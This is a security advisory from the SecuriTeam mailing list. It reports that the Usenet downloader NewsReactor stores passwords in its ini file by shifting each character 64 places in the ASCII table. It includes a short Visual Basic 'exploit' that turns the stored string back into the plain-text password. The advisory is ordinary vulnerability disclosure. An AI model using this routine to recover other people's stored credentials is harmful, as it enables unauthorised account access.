

[NT] NewsReactor Encryption Scheme Cracked

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To: list@securiteam.com

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NewsReactor Encryption Scheme Cracked

SUMMARY

<<http://www.daansystems.com/newsreactor/>> NewsReactor is a tool to download binaries from Usenet newsgroups. The product stores the user's password in an unsafe manner that allows attackers to retrieve the plain text version of the "encrypted" passwords.

DETAILS

NewsReactor stores your passwords in the NewsReactor.ini file with poor encryption. Each character is simply 64 characters up the ASCII table from that character itself.

Exploit:

Here is a simple VB code to "decrypt" the password:

'Note: Your password is located after the "Server0PassWord=" (for example) in the NewsReactor.ini file.

```
Private Sub Form_Load()  
Dim YourPass As String, PrintPass As String  
YourPass = InputBox("Enter in the encrypted password below.")  
For x = 1 To Len(YourPass)  
    PrintPass = PrintPass & Chr(Asc(Mid(YourPass, x, 1)) - 64)  
Next
```

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MsgBox "Password: " & PrintPass
End
End Sub

ADDITIONAL INFORMATION

The information has been provided by <mailto:Adi@Rogers.com> Adi Feldman.

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